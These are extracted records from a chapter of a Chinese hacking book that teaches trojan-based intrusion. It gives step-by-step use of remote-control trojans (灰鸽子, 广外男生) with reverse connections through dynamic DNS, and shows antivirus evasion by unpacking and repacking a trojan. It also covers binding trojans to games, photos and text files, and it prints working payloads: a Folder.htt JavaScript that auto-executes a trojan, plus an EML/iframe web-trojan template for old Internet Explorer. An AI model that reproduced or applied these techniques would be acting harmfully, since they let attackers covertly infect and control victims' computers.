    {"text": "步骤 3 远程控制 在使用广外女生进行远程控制之前，需要扫描出安装有广外女生服务端的计算机。 首先，打 开广外女生客户端，然后选择“添加主机”选项卡，在“起始 IP”中填入 192.168.245. 128，在“终 止 IP”中填入 192.168.245.128，在“验证密码”中填入“hack”，在“连接端口”中填入 6267， 最后单击“开始搜索”按钮扫描目标网段来搜索服务端主机，扫描结果如图 6-25 所示。 图 6-25 当扫描到服务端主机后，入侵者便可以通过广外女生实现远程控制。"},
    {"text": "340 第 6 章 基于木马的入侵 ：上传文件 ：下载文件 ：新建文件夹 ：删除选定的文件 ：删除选定的空文件夹 ：刷新 ：设定文件或文件夹属性 ：打开选定文件 ：打开指定网页／命令（需要新版支持） ：向对方发送信息 ：关闭远程计算机 ：获取服务端详细信息 图 6-26 除了可以对远程主机的磁盘文件进行读写，广外女生还可以对远程主机的注册表进行操作， 如图 6-27 所示。"},
    {"text": "图 6-27 关于进程操作，可以使用“进程管理（Win9x）”选项卡，如图 6-28 所示。 341 黑客攻防实战详解 图 6-28 进程管理选项卡中的控制按钮如下。"},
    {"text": "：终止（进程） ：隐藏窗体 ：显示窗体 ：居中窗体 ：令窗体变灰，使目标主机不能对该窗体进行操作 ：激活变灰的窗体 ：刷新 除了对远程主机的系统设置进行修改，广外女生还可以通过屏幕来监视、控制远程主机，如 图 6-29 所示，该功能在“屏幕控制”中可以找到。"},
    {"text": "正当 入侵者一筹莫展的时候，第三代木马出现了，它通过改变客户端与服务端的连接方式，由原来的 服务端被动连接变为服务端主动连接，使网络防火墙形同虚设。"},
    {"text": "随后出现的第四代木马增加了隐藏进程技术，让系统更加难以发现木马的存在，进而逃 避防火墙对特定程序通信的拦截。 本节就来介绍一下第三代与第四代木马的特点，来看看木马如 何逃避防火墙的“追杀”。"},
    {"text": "6.5.1 木马连接方式 为了更加透彻地了解木马的入侵过程，首先来介绍一下木马的几种连接方式。 1．传统连接方式 第一、二代木马都属于传统连接方式，即 C/S（客户／服务器）连接方式。"},
    {"text": "当入侵者需要与远程主机建立连接的时 候，便主动发出连接请求，从而建立连接，建立过程如图 6-31 所示。 第（1）步 客户端 发出建立连接请求 远程主机 （Client） （Server） 第（2）步 连接建立成功 客户端 远程主机 （Client） （Server） 图 6-31 这种连接需要服务端开放端口等待连接，需要客户端知道服务端的 IP 地址与服务端口号。"},
    {"text": "343 黑客攻防实战详解 2．第三代木马连接方式（反弹端口技术） 第三代木马使用的是“反弹端口”连接技术，连接的建立不再由客户端主动要求连接，而是 由服务端来完成，这种连接过程恰恰与传统连接方式相反。 当远程主机安装第三代木马后，由远 程主机主动寻找客户端建立连接，客户端则开放端口等待连接，具体建立过程如图 6-32 所示。 第一种连接方式 第（1）步 客户端 要求建立连接 远程主机 （Client） （Server） 第（2）步 客户端 连接建立成功 远程主机 （Client） （Server） 图 6-32 可以看出，这种方式要求远程主机预先知道客户端 IP 地址和连接端口，因而在配置服务端程 序的时候，需要入侵者预先指明客户端（入侵者本地机）的 IP 地址和待连接端口，因此这种方式 不适用于动态上网的入侵者。 从图 6-33 所示连接过程可以看出，在连接的建立过程当中，入侵者引入了一个“中间代理” 服务器，用它来存放客户端 IP 地址和待连接端口，只要入侵者更新中间代理中存放的 IP 地址与 端口号，便可以让远程主机找到入侵者。"},
    {"text": "第二种连接方式 第（1）步 更新中间 客户端 远程主机 代理中的信息 （Client） （Server） 更新 IP、Port 中间代理（保存客户端 IP、Port） 第（2）步 更新服务 端中的信息 客户端 远程主机 （Client） （Server） 获取客户端 IP、Port 中间代理（保存客户端 IP、Port） 第（3）步 远程主机 要求建立连接 主动发出连接请求 客户端 远程主机 （Client） （Server） 中间代理（保存客户端 IP、Port） 第（4）步 连接建立 连接建立成功 成功 客户端 远程主机 （Client） （Server） 中间代理（保存客户端 IP、Port） 图 6-33 344 第 6 章 基于木马的入侵  客户端为动态 IP 地址  服务端为动态 IP  服务端处于局域网内部 6.5.2 第三代木马——灰鸽子 连接方式介绍过后，本节通过介绍第三代木马——灰鸽子的使用方法来说明第三代连接方式。 1．灰鸽子简介 灰鸽子是国内第三代木马的标准软件，也是国内首次成功地使用反弹端口技术的木马，使用 反弹端口技术中的第二种连接方式，同时支持传统方式连接。"},
    {"text": "图 6-34 2．灰鸽子的工作环境 灰鸽子可以控制以下类型的远程主机（系统可以是：Windows 9x/Me/NT/2000/XP），其中外网 为有因特网 IP 地址的计算机，内网为在局域网内部可以上网的计算机，如网吧中普通计算机。 （1）服务端设置成自动上线型时 a．外网控制外网 b．外网控制内网 c．同在一局域网 （2）服务端为主动连接型时 a．外网控制外网 b．内网控制外网 c．同在一局域网 3．实例：使用灰鸽子“反弹端口”进行连接，即远程主机“自动上线”入侵 思路：设置中间代理、配置服务程序、种植木马、域名更新 IP、等待远程主机自动上线、控 制远程主机。"},
    {"text": "步骤 1 设置中间代理 灰鸽子使用的是反弹端口技术的第二种连接方式，从它的连接过程来看， “中间代理”的作用 尤为重要。 在灰鸽子中，中间代理是通过免费域名提供的动态 IP 映射来实现的，下面介绍具体的 设置方法。"},
    {"text": "在配置服务器端程序之前，需要申请动态域名，动态域名是随时可以更新映射 IP 的域名，这 种域名恰恰实现了“中间代理”保存客户端 IP、端口的功能。"},
    {"text": "打开灰鸽子客户端后，选择“文件（F）”→“自动上线”或单击主界面上 按钮来打开“自 动上线”对话框，然后选择“网易域名更新 IP”选项卡，来更新域名，如图 6-35 所示。"},
    {"text": "现在来验证一下，打开浏览器，输入“http://hack.126.com”，如果回显中含有本机 IP 地址， 那么就说明申请中间代理成功，如图 6-36 所示。 图 6-36 步骤 2 配置服务程序 成功申请了中间代理之后，下一步就要对木马服务端程序进行设置。"},
    {"text": "③ 在“高级选项”选项卡中，灰鸽子为用户提供了 3 种隐藏灰鸽子进程的方法,而且可以勾 选“不加壳” ， “使用 UPX 加壳”和“使用 FSG 加壳”，使木马的隐藏方式更加多样与灵活，如图 6-39 所示。"},
    {"text": "346 第 6 章 基于木马的入侵 图 6-37 图 6-38 ④ 选择“启动项”选项卡，如果入侵者想让远程主机在每次启动时都自动开启木马服务端， 可以通过这里进行设置，如图 4-40 所示。"},
    {"text": "步骤 3 种植木马 这里对如何让远程主机执行木马先不做介绍，后面会用整整一节的内 图 6-42 容来介绍入侵者是如何让目标主机按照他们的意图来执行木马的。 步骤 4 更新 IP 入侵者在控制远程主机之前，需要更新一下“中间代理”保存的客户端 IP，对应第二种反弹 端口方式的第（1）步，这样才能让木马服务端主动找到入侵者，方法如下。"},
    {"text": "打开“自动上线”，选择“网易域名更新 IP”选项卡，填入域名和密码，选择本地 IP 地址用 于远程主机连接用，最后单击“更新 IP 到域名”按钮，如图 6-43 所示。"},
    {"text": "图 6-43 步骤 5 等待远程主机自动上线（对应第二种反弹端口方式的第（3） 、（4）步） 如果成功完成了以上 5 个步骤的工作，入侵者剩下所要做的只需在“文件管理器”界面中默 默地等待了，如图 6-44 所示。 在远程主机执行服务端程序后，如果网络状况比较好的话，大约在二三分钟以后（时间长短 根据网速的不同而不同），就会有语音提示“有主机上线，请注意”，这时候说明远程主机已经自 动上线了，如图 6-45 所示。 图 6-44 图 6-45 步骤 6 控制远程主机 所有木马在控制远程主机上的功能和使用方法大同小异，这一步可参考冰河、广外女生的介 绍，这里略过。"},
    {"text": "记录的内容 348 第 6 章 基于木马的入侵 通过 E-mail 发送到指定的邮箱，可以制作邮件日志，当邮件无法发送的时候，可以查看邮件日志 找回记录的内容。"},
    {"text": "目前为止，幽灵使用用户当前工作的程序来作为发信程序（不能是 16 位 程序），绝大多数情况下均可以顺利发送邮件，网络防火墙软件无法察觉，即使发出警告，所警告 的程序也不是广外幽灵本身的程序，一般用户便会选择允许使用网络。"},
    {"text": "（3）使用方法 运行 SetGhost.exe 进行设置：填写好攻击者收信的邮箱，对应的服务器，选择正确的服务器 类型（这一步非常关键，直接影响到幽灵的发信能否成功） ，在标识处填写攻击者为目标主机起的 标识名；"},
    {"text": "2．广外男生 （1）简介 同广外女生一样，它也是广东外语外贸大学的作品。 广外男生是广外程序员网络（前广外女 生网络小组）精心制作的一款远程控制软件，是一个专业级的远程控制以及网络监控工具。 （2）特色（引自帮助文件） 广外男生除了具有一般普通木马应该具有的特点以外，还具备以下特色。"},
    {"text": " 客户端模仿 Windows 资源管理器：除了全面支持访问远程服务端的文件系统，也同时支持 通过对方的“网上邻居”访问对方内部网其他机器的共享资源。  强大的文件操作功能：可以对远程机器进行建立文件夹，整个文件夹（包括子目录，文件） 一次删除，支持多选的上传、下载等基本功能。 同时特别支持高速远程文件查找，而且可 对查找结果进行下载和删除的操作。"},
    {"text": " 运用了“反弹端口原理”与“线程插入”技术：使用了目前流行的反弹端口的木马技术， 由服务端主动连接客户端，因此在因特网上可以访问到局域网里通过 NAT 代理（透明代 理）上网的电脑，轻松穿过防火墙（包括包过滤型及代理型防火墙） 。"},
    {"text": "也就是说，即使受控端安装 的防火墙拥有“应用程序访问权限”的功能，也不能对广外男生的服务端进行有效的警告和拦截， 使对方的防火墙形同虚设！"},
    {"text": "服务端运行后，会在本机打开一个网络端口监听客户端的连接（时刻等待着客户端的连接） ， 连接建立后，客户端可用这个通道向服务端发送命令并接收返回数据，即可实现远程访问。"},
    {"text": "与灰鸽子不同，广外男生可以自己设置客户端。 打开广外男生客户端（gwboy092.exe），通过 “设置（F）”→“客户端设置（X）”打开“广外男生客户端设置程序”，如图 6-52 所示。"},
    {"text": " 客户端使用端口：客户端等待远程主机连接的端口，建议设成 80。 说明：把客户端使用端口设成 80 是因为 80 是 Web 服务器提供服务的端口，这样做比较容易 穿透远程主机防火墙建立连接，也就是说，只要远程主机能访问网站，也就可以与客户端建立连 接。"},
    {"text": "351 黑客攻防实战详解 步骤 2 服务端设置。 设置好客户端后，下一步进行对服务端的设置，而且远程主机自动与客户端进行连接所用的 所有信息都在这里设置。"},
    {"text": "图 6-56  常规设置 EXE 文件名：指安装木马后生成程序的名称。 DLL 文件名：指安装木马后生成 DLL 文件的名称。 注：DLL 文件，动态链接库，用来支持程序运行。"},
    {"text": " 网络设置 由于本实例使用的是连接方式一，因此在图 6-57 中选择“静态 IP”，并填入本地 IP 地址，以 便让远程主机找到本机，如图 6-57 所示。"},
    {"text": "远程主机执行木马服务端程序后，便可以看到自动上线的该远程主机，如图 6-59 所示，通过 服务端的主机，还能直接访问这台主机所在的内网（局域网） 。"},
    {"text": "352 第 6 章 基于木马的入侵 图 6-57 图 6-58 图 6-59 实例二：反弹端口技术中的方式二连接 思路：客户端设置、服务端设置、种植木马、等待自动上线、控制远程主机。"},
    {"text": "申请 动态域名的方法有很多，这里以申请网域科技（http://www.oray.net） 的花生壳动态域名服务为例介绍，花生壳动态域名服务如图 6-60 所 示。 动态域名申请完毕后，使用 Apache for Windows 服务器建立 Web 图 6-60 服务器，使用 Server_U 服务器建立 FTP 服务器。"},
    {"text": "步骤 1 客户端设置。 ① 网络设置。 由于 80 端口供本机 Web 服务器使用，为了避免冲突，这里把“客户端使用端口”改成 90， 其余与实例一中设置相同。"},
    {"text": "354 第 6 章 基于木马的入侵 图 6-65 图 6-66 6.5.4 常见问题与解答 问：能在网吧的内网中使用灰鸽子木马连接外面么？ 答：在网吧的内网中，只可以使用灰鸽子的主动方式来连接外面具有独立 IP 的远程主机或连 接同一局域网内其他主机，而不能使用灰鸽子的反弹端口连接方式。"},
    {"text": "表 6-1 连接方式 主动连接 反弹连接方式一 反弹连接方式二 模式 客户端独立 IP、服务端独立 IP 可用 可用 可用 客户端独立 IP、服务端在局域网内 不可用 可用 可用 客户端在局域网内、服务端独立 IP 可用 不可用 不可用 客户端局域网内、服务端局域网内（不在同一个局域网内） 不可用 不可用 不可用 客户端和服务端在同一局域网内 可用 可用 不可用 6.6 第五代木马 黑暗天使是一个结合窃听密码和远程控制于一体的木马，可以算做一个初级的第五代木马， 可用于盗取密码和留后门。"},
    {"text": "特点如下：  安装后在任务管理器中看不到任何新增的进程  随机替换掉一个状态为停止的系统服务，而被替换掉的系统服务属性看不出任何改变  注册表中看不到任何新增的键  有强大的自我修复功能  具有很强的随机性，安装后木马文件名和存放的目录都是随机的  采用端口隐藏技术，平时木马不开端口，只有当用 editDK.exe 连接时才会开端口，只能建 立一个连接，连接建立后端口会自动关闭  能够杀掉目前流行的防火墙 355 黑客攻防实战详解  增加了逆向连接功能（端口反弹技术）  建立连接后用 fport 查不到木马开的端口，使 fport 完全失效  增加了 UDP 数据报连接方式，使没有独立 IP 的用户也可以连接到黑暗天使服务端  记录浏览器输入时会记录当前的 URL，使得记录的信息更加有用  采用 ICMP echo reply 数据报进行通信，增加隐蔽性 6.7 木马防杀技术 曾几何时，木马一统天下，网络硝烟滚滚，那年代，木马炙手可热、无所不能，几乎成了入 侵者的屠龙刀、杀手锏。"},
    {"text": "然而，接踵而来的杀毒软件对木马进行了近似疯狂的封杀，使得木马无 处藏身…… 木马这计算机安全领域界的神话在功能上是非常强大并有效的，它被杀毒软件查杀的厄运使 得入侵者不敢轻易地使用这些程序。"},
    {"text": "面对杀毒软件，入侵者并不是毫无还手之力，他们通过对木马进行修改，使之逃过杀毒 软件的查杀。 可见，对于管理员来说，并不是经过杀毒软件扫描通过的程序就一定不是木马。 为了让读者更加了解这种技术，本节介绍一种最简单的方法来看看那些入侵者是如何使木马 逃过杀毒软件的查杀的。"},
    {"text": "6.7.1 加壳与脱壳 1．加壳 当一个程序写完后，并不是把写好的程序直接公布给大家使用，而是使用一种称之为“加壳” 的技术，目的有两个，一个是为了保护程序源代码、防止修改；"},
    {"text": "听起来挺复杂的，但是操作起来并不复杂，因为程序员根本不需要自己编写加壳的 算法，而是通过专用的加壳程序来给自己的程序加壳，比较有名的加壳程序有：ASPACK、UPX、 WWPACK 等，通过这些第三方的程序，只需要进行简单的设置，就可以对自己的软件进行加壳。 2．脱壳 与加壳相反的过程称之为“脱壳” ，目的是把加壳后的程序恢复成毫无包装的可执行代码，这 样未经授权者便可以对其进行修改。 “脱壳”的过程与“加壳”的操作相反，但是对于不同的“加 壳”软件，需要使用不同的“脱壳”软件。 入侵者只要知道目标程序使用的是哪种“加壳”软件 进行加壳的，然后，再用对应的“脱壳”软件进行脱壳即可。"},
    {"text": "3．杀毒原理 对于杀毒软件，它是如何认出病毒或木马呢？ 大家一定听说过“病毒特征库”这个词，大多 数的杀毒软件就是根据这个“病毒特征库”来识别每个病毒的。 常说的升级杀毒软件，指的就是 升级杀毒软件的“病毒特征库”。 形象地打个比方，杀毒软件就像是一个警察，而“病毒特征库” 就像是带照片的“通缉证” ，而病毒当然就是“通缉犯”了。 警察（杀毒软件）检查每一个程序， 然后把它们和“通缉证”上的照片（病毒特征）比较，如果吻合，就把通缉犯（病毒）绳之以法。 356 第 6 章 基于木马的入侵 4．加壳脱壳防杀原理 从杀毒软件的杀毒原理可以看出，既然杀毒软件只是依靠“病毒特征”来识别病毒的，那么， 如果入侵者能够把这个通缉犯（病毒）乔装打扮，改变它的“特征” ，是否可以逃过警察（杀毒软 件）的查杀呢？"},
    {"text": "入侵者先对程序“脱壳”然后再给程序“加上另一种壳”就可以逃过杀毒软件的查杀。 这个过程 就像是给“通缉犯”（病毒）先脱下衣服（脱壳），然后再穿上另一件衣服（加壳）一样，通过实 际测试，这种方法确实很有效，能够使木马逃过杀毒软件的查杀。 6.7.2 木马防杀实例 实例：对国内老牌木马——“冰河”加壳、脱壳逃过杀毒软件查杀。"},
    {"text": "然后把生成的 G_SERVER.EXE 文件名改成“是男人就下 100 层.exe”。 现在使用杀毒软件来扫描一下“是男人就下 100 层.exe”这个服务端程序，如图 6-68 所示。"},
    {"text": "Language 2000 就是专门的用来查看程序加壳方式的软件，用来配合脱壳程序使用，使用方法如下。 首先，打开 Language.exe，界面如图 6-69 所示。 然后，选择“打开（O）”，找到冰河木马服务端程序“是男人就下 100 层.exe”，选中后 Language 2000 会自动导入程序进行分析，分析完成后得到的信息如图 6-70 所示。 可以看到，Language 2000 列出了“冰河木马服务端程序”的“版本信息”、 “编译器信息”、 “压 缩／加密”。"},
    {"text": "上述脱壳过程把冰河木马服务端程序“是男人就下 100 层.exe”脱壳成“是男人下 100 层.exe”， 并没有覆盖源程序，目的是为了随后比较一下脱壳前后这两个服务端程序之间的区别。"},
    {"text": "分别打开 这两个程序的属性窗口，可以看到，脱壳前的服务端程序体积为 260KB，而脱壳后的服务端程序 体积为 677KB，这也证实了加壳的功能之一是减小程序体积。"},
    {"text": "ASPack 的加壳操作非常简单，不用对其进行任何设置，加壳过程如下：在图 6-74 的界面中 单击“Open”按钮，找到脱壳后的冰河木马服务端程序“是男人下 100 层.exe”，将其选中后，ASPack 便会自动导入该服务端程序并进行加壳操作，加壳过程如图 6-75 所示。"},
    {"text": "接下 来，找到加壳后的服务端程序，会发现加壳后的服务端程序“是 男人下 100 层.exe”已经由 466KB 变成了 260KB，体积缩小意味 着程序已经被加壳。"},
    {"text": "如图 6-76 所示，由扫描结 果可见，杀毒软件已经认不出该程序属于木马了。 图 6-76 通过前面的介绍，看出入侵者确实能够通过修改木马服务端 程序，使其逃过杀毒软件的查杀。 这里介绍的只是最简单、最基本的加壳脱壳方法使木马程序逃 过杀毒软件的查杀。 在实际中，入侵者还可以使用编辑器对木马服务端程序进行更加复杂的手工 调试、修改，借此可以逃过所有当前杀毒软件的查杀。"},
    {"text": "在本节中，就来了解一下入侵者都使用的什么样的方法让远程主机安装木马服务端。 6.8.1 修改图标 为了更好地伪装木马，入侵者常常需要修改服务端程序的图标，比如修改成文本文档的图标 或者图片文件的图标，来迷惑远程主机的管理员。"},
    {"text": "管理员执行木马服务端程序后，或是弹出错误对话框或是毫无反应，这很容易引 起管理员的怀疑。 为了不引起管理员的怀疑，入侵者可以把木马和正常文件捆绑成一个文件作为 伪装，当远程主机的管理员打开文件的同时会自动执行木马和正常文件。 管理员看来，他们打开 的只是那个正常的程序，却不知已经被种植了木马。"},
    {"text": "（2）界面如图 6-77 所示 图 6-77 实例一：exe 文件合并 这里通过把一款小游戏程序和木马服务端捆绑成一个文件为例来介绍该工具的使用方法。 思路：选择游戏程序、选择“木马服务端程序” 、设置运行选项、捆绑生成。"},
    {"text": "然后把该文件名 改成“是男人就上 100 层.exe”。 当远程主机的管理员打开它的时候，看到的只是小游戏“是男人 就上 100 层.exe”的界面，如图 6-80 所示。"},
    {"text": "通过该功能，入侵者可以先把一个 TXT 文件和木马程序合并到一起，然后再使用工具把该捆绑程 序的图标更改成 TXT 图标，最后发给远程主机的管理员，让管理员以为该程序仅仅是一个 TXT 文档。 当管理员打开捆绑了 TXT 文件和木马服务端程序的文件后，他所看到的也仅仅是个 TXT 文档，同时，木马服务端程序会在后台执行。"},
    {"text": "往往使用这种方法种植木 马更加有效，入侵者常常假扮成女生，然后骗取目标管理员打开她的照片，其实该照片就是“JPG 文件”与“木马程序”的捆绑文件，在管理员看到照片的同时，木马程序已经悄悄在后台执行了。"},
    {"text": "图 6-81 图 6-82 361 黑客攻防实战详解 2．文件合并工具之二：广外文件绑定器 （1）广外文件绑定器简介 这又是一款广外的作品，为了配合木马的使用，单独推出的一款文件合并器，主要有以下特 点。"},
    {"text": "（2）界面如图 6-83 所示，使用方法与 Deception 类似，这里略过 图 6-83 6.8.3 文件夹木马 如果有这样一个管理员，在接收到不明文件后一定会用杀毒软件扫描，并且不会去执行任何 不明来历的可执行文件，表面看起来这个管理员的计算机不应该存在由木马引起的安全隐患。"},
    {"text": "在 众多的种植手段中， “文件夹木马”就是入侵者经常用来突破这种管理员安全防御的方法。 下面了解一下入侵者是使用什么“高招”来制作文件夹木马的。 在介绍如何制作“文件夹木 马”之前，先来了解一下 Windows 系统中的文件夹相关知识。"},
    {"text": "在 Windows 系统中，文件夹的样式 是可以自定义的，可以由用户指定文件夹中的背景、字体、颜色等，那么自定义文件夹是采用什 么技术来实现的呢？ 微软借用了实现网页的方法来实现文件夹的样式，也就是说，Windows 中的 文件夹支持 HTML 和 JavaScript 定义的一些“动作”。 大家知道，通过编写 JavaScript 可以通过网 页来执行程序，按照同样的道理，通过 JavaScript，入侵者同样可以让文件夹自动执行程序，这就 是“文件夹木马”的原理。 同时，文件夹木马还需要一个 IE 漏洞的支持才能成功，该漏洞存在于 没有打补丁的 IE 5.0 及更低版本中。 通过该漏洞，入侵者能够使系统不经过任何询问便执行文件 夹中指定的木马程序。 所以，在装有 IE 5.0 及更低版本的系统中（比如 Windows 9x/NT/2000），入 侵者可以通过文件夹来种植木马，只要管理员打开这种文件夹便自动执行木马程序。 实例：文件夹木马制作。 （1）准备工作 在制作文件夹木马之前，先要对“文件夹选项”设置，否则本机看不到所要编辑的文件。 过 程如下：首先，打开“文件夹选项”，然后在“文件夹选项”中去掉“隐藏受保护的操作系统文件 （推荐）”前面的钩，最后单击“确定”按钮，设置完毕后如图 6-84 所示。"},
    {"text": "362 第 6 章 基于木马的入侵 过程如下：首先，新建一个文件夹，双击该文件夹进入后，在该文件夹的工具栏中选择“查 看（V）”→“自定义文件夹（C）”，如图 6-85 所示。"},
    {"text": "图 6-84 图 6-85 按图 6-85 所示打开“自定义文件夹向导”，在“自定义文件夹向导”对话框中勾选“选择或 编辑该文件夹的 HTML 模版（H）”，然后单击“下一步（N）”按钮进入“模板选择”对话框，如 图 6-86 所示。 在“模板选择”对话框中选择“标准”，如图 6-87 所示，然后单击“下一步（N）”按钮，最 后单击“完成”按钮建立自定义文件夹。"},
    {"text": "为了实现“文件夹木马”，需要把自动执行木马的 JavaScript 脚本写入文件夹中的 Folder.htt 文件，编写好的 JavaScript 代码如下。 <script language=\"javascript\"> run_exe=\"<OBJECT ID=\\\"RUNIT\\\"WIDTH=0 HEIGHT=0 TYPE=\\\"application/x-oleobject \\\"\" run_exe+=\"CODEBASE=\\\"木马.exe#version=1,1,1,1\\\">\" run_exe+=\"<PARAM NAME=\\\"_Version\\\" value=\\\"65536\\\">\" run_exe+=\"</OBJECT>\" document.open(); document.clear(); document.writeln(run_exe); document.close(); </script> 363 黑客攻防实战详解 其中，代码第三行中的“木马.exe”为木马服务端程序的文件名，入侵者根据自己配置的木马 程序会对此处进行相应的修改。"},
    {"text": "步骤 3 修改 Folder.htt 文件。 进入 Folder Settings 文件夹，用记事本打开 Folder.htt 文件，然后在<style>代码</style>后加入 步骤 2 编写的 JavaScript 代码，并把该代码中的木马名改为“abc.exe”，如图 6-88 所示，其中 abc.exe 是木马程序的文件名。 图 6-88 添加完成后，保存该文件，把经过脱壳、加壳后的木马程序 abc.exe 拷贝到 Folder Settings 文 件夹中便完成了“文件夹木马”的制作。 文件夹木马制作成功后，入侵者便可以把该文件夹打包发给远程主机的管理员。 当管理员收 到以后，使用杀毒软件对该文件夹进行查杀不会发现有任何问题，但是当管理员打开该文件夹， 木马便会自动执行。 当管理员进入该文件夹后，并不会发现其中存在 Folder Settings 文件夹和 desktop.ini 文件，因为 Folder Settings 文件夹和 desktop.ini 文件具有系统属性和隐藏属性，这种文 件夹不同于一般的隐藏文件夹，只有去掉文件夹选项中“隐藏受保护的操作系统文件（推荐）”前 面的钩，才能看见这些文件，但不幸的是几乎所有的计算机都不会这样设置。 6.8.4 网页木马 如果管理员不接收式打开任何不明文件或文件夹，那么该计算机的安全系统便会大大提高， 然而入侵者也并不是没有办法在该计算机上种植木马。 对于这种管理员，入侵者常常会使用网页 木马的方法。"},
    {"text": "网页木马利用了 IE 5.0 的一个漏洞，这个漏洞导致 IE 自动播放网页中视频格式的邮 件。 因此，入侵者可以通过对木马程序做适当的伪装，使 IE 认为该木马程序是网页中视频格式的 邮件，这样一来 IE 浏览器便会自动执行这些代码，也就是使远程主机自动执行木马程序，有一种 QQ 尾巴病毒就是依靠这种方法来传播的。 下面来看看入侵者到底是如何实现网页木马来入侵的。"},
    {"text": "在介绍网页木马的制作实例之前，先列出两个文件“eml.txt”和“eml.htm”的源代码。 后面 的实例就是通过修改这两个文件的内容来实现网页木马的。"},
    {"text": "From: \"xxx\" <xxxx@xxx.xxx> To: \"xxx\" <xxxx@xxx.xxx> Subject: xxxx Date: Tue, 9 Apr 2003 18:11:01 +800 MIME-Version: 1.0 364 第 6 章 基于木马的入侵 Content-Type: multipart/related; type=\"multipart/alternative\"; boundary=\"1\" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --1 Content-Type: multipart/alternative; boundary=\"2\" --2 Content-Type: text/html; charset=\"gb2312\" Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> </HEAD> <BODY bgColor=3D#ffffff> <iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> </BODY> </HTML> --2-- --1 Content-Type: audio/x-wav; name=\"下面 base64 编码软件的软件名\" Content-Transfer-Encoding: base64 Content-ID: <THE-CID> [ base64 编码软件的编码 ] --1 “eml.htm”的源代码如下。 <html> <body leftmargin=0 topmargin=0 scroll=no> <embed width=100% height=100% fullscreen=yes src=\"flash 动画文件名\"> <iframe src=\"eml 文件名\" width=\"0\" height=\"0\" frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"> </iframe> </body> </html> 实例：制作网页木马。"},
    {"text": "制作过程：制作木马程序的 Base64 编码、制作木马 EML 文件、制作木马网页。 365 黑客攻防实战详解 步骤 1 制作木马程序的 Base64 编码。 该过程把一个木马程序用 Base64 编码来表示，随后会把该 Base64 编码写入网页来制作一个 嵌有木马程序的网页。"},
    {"text": "随后用记 事本打开刚才保存的 temp.eml 文件，从中找出木马服务端程序 abc.exe 的 Base64 编码，如图 6-90 所示高亮位置，在该位置上的编码即为 abc.exe 的 Base64 编码。"},
    {"text": "用记事本编辑 eml.txt 文件，如图 6-91 所示，将前面制作的 Base64 编码拷贝、粘贴到图 6-91 中所示的高亮位置，并将 name=“下面 base64 编码软件的软件名”改为 name=\"abc.exe\"。"},
    {"text": "用记事本编辑 eml.htm 文件，如图 6-92 所示，在图 6-92 中高亮位置处填入“abc.eml”，并填 入网页要显示 flash 动画的文件名，这里填入的是 yangguo.swf，如图 6-92 所示。"},
    {"text": "编辑好后，另存 为“abc.htm”，木马网页制作完毕。 366 第 6 章 基于木马的入侵 图 6-91 图 6-92 最后，把 abc.htm、abc.eml、yangguo.swf（flsh 动画）这三个文件一起上传至预先申请的 Web 空间。 通过以上三步，一个网页木马就制作成功了。 当装有 IE 6.0 以下版本的计算机浏览该网页，在看到 flash 动画的同时，会被种植上木马服务 端程序，如图 6-93 所示。"},
    {"text": "同时，在电子书中种植木马也更容易欺骗用户，下面 就向读者详细介绍如何将木马种植在 CHM 格式的电子中。 步骤 1 要想制作一个完美的 CHM 木马，当然少不了电子书的制作工具。"},
    {"text": "在本例中选取 Windows 系统中的 windows.chm 帮助文件来作为伪装木马的电子书文件。 windows.chm 文件存放在 C:\\windows\\help 目录下。 步骤 2 运行 windows.chm，在右侧的空白处单击右键，弹出右键菜单。"},
    {"text": "在弹出的属性对话框中记下 windows.chm 文件的 URL，如图 6-95 所示。 本例中的 windows.chm 文件的 URL 为“C:\\Documents%20and%20Settings\\Administrator\\Desktop\\ book\\windows.chm” ，其中“%20”代表空格。"},
    {"text": "黑客攻防实战详解 Document Outline 封面 内容简介 版权页 前言 目录 入门篇 第1章 一次完整的入侵 1.1 搭建局域网 1.2 认识扫描器 1.3 一次完整的入侵 1.4 小结 第2章 信息搜集 2.1 网站信息搜集 2.2 资源搜集 2.3 端口扫描 2.4 综合扫描 2.5 小结 实战篇 第3章 基于认证的入侵 3.1 获取账号密码 3.2 IPC$入侵 3.3 Telnet入侵 3.4 利用注册表入侵 3.5 利用远程计算机管理入侵 3.6 利用远程终端服务（3389）入侵 3.7 利用MS SQL入侵 3.8 利用FTP入侵 3.9 远程命令执行及进程查杀 3.10 小结 第4章 基于服务器软件漏洞的入侵 4.1 IIS漏洞（一） 4.2 IIS漏洞（二） 4.3 论坛漏洞 4.4 Blog漏洞 4.5 Serv-U漏洞（一） 4.6 小结 第5章 Windows操作系统漏洞 5.1 本地提权类漏洞 5.2 用户交互类漏洞 5.3 远程溢出漏洞 5.4 小结 第6章 基于木马的入侵 6.1 木马的工作原理 6.2 木马的种类 6.3 木马的演变 6.4 第二代木马 6.5 第三代与第四代木马 6.6 第五代木马 6.7 木马防杀技术 6.8 种植木马 6.9 安全解决方案 6.10 常见木马的手动清除 6.11 常见问题与解答 6.12 小结 第7章 隐藏技术 7.1 文件传输与文件隐藏技术 7.2 扫描隐藏技术 7.3 入侵隐藏技术 7.4 小结 第8章 留后门与清脚印 8.1 账号后门 8.2 漏洞后门 8.3 木马后门 8.4 清除日志 8.5 小结 第9章 本地入侵 9.1 基础知识 9.2 盘载操作系统简介 9.3 ERD Commander 9.4 Windows PE 9.5 安全解决方案 9.6 本章小结 提高篇 第10章 防火墙技术 10.1 防火墙概述 10.2 防火墙的分类 10.3 常见防火墙简介 10.4 防火墙的结构 10.5 防火墙发现技术 10.6 穿越防火墙技术 10.7 小结 第11章 BAT编程 11.1 批处理命令简介 11.2 在批处理文件中使用参数与组合命令 11.3 管道命令 11.4 综合利用的实例 11.5 小结 封底"},
    {"text": "黑客攻防实战详解 安全技术大系 黑客攻防实战详解 邓 吉 柳 靖 编著 Publishing House of Electronics Industry 北京·BEIJING 内 容 简 介 本书从“攻”、“防”两个不同的角度，通过现实中的入侵实例，并结合作者的心得体会，图文并茂 地再现了网络入侵与防御的全过程。"},
    {"text": "内容主要包括基于认证的入侵及防御、基于服务器软件漏洞的入侵及防御、基于 Windows 操作系统漏洞的入侵及防御、基于木马的入侵及防御、入侵中的隐藏技术、入侵后的留后门及 清脚印技术、本地入侵及防御，以及防火墙技术和 BAT 编程。"},
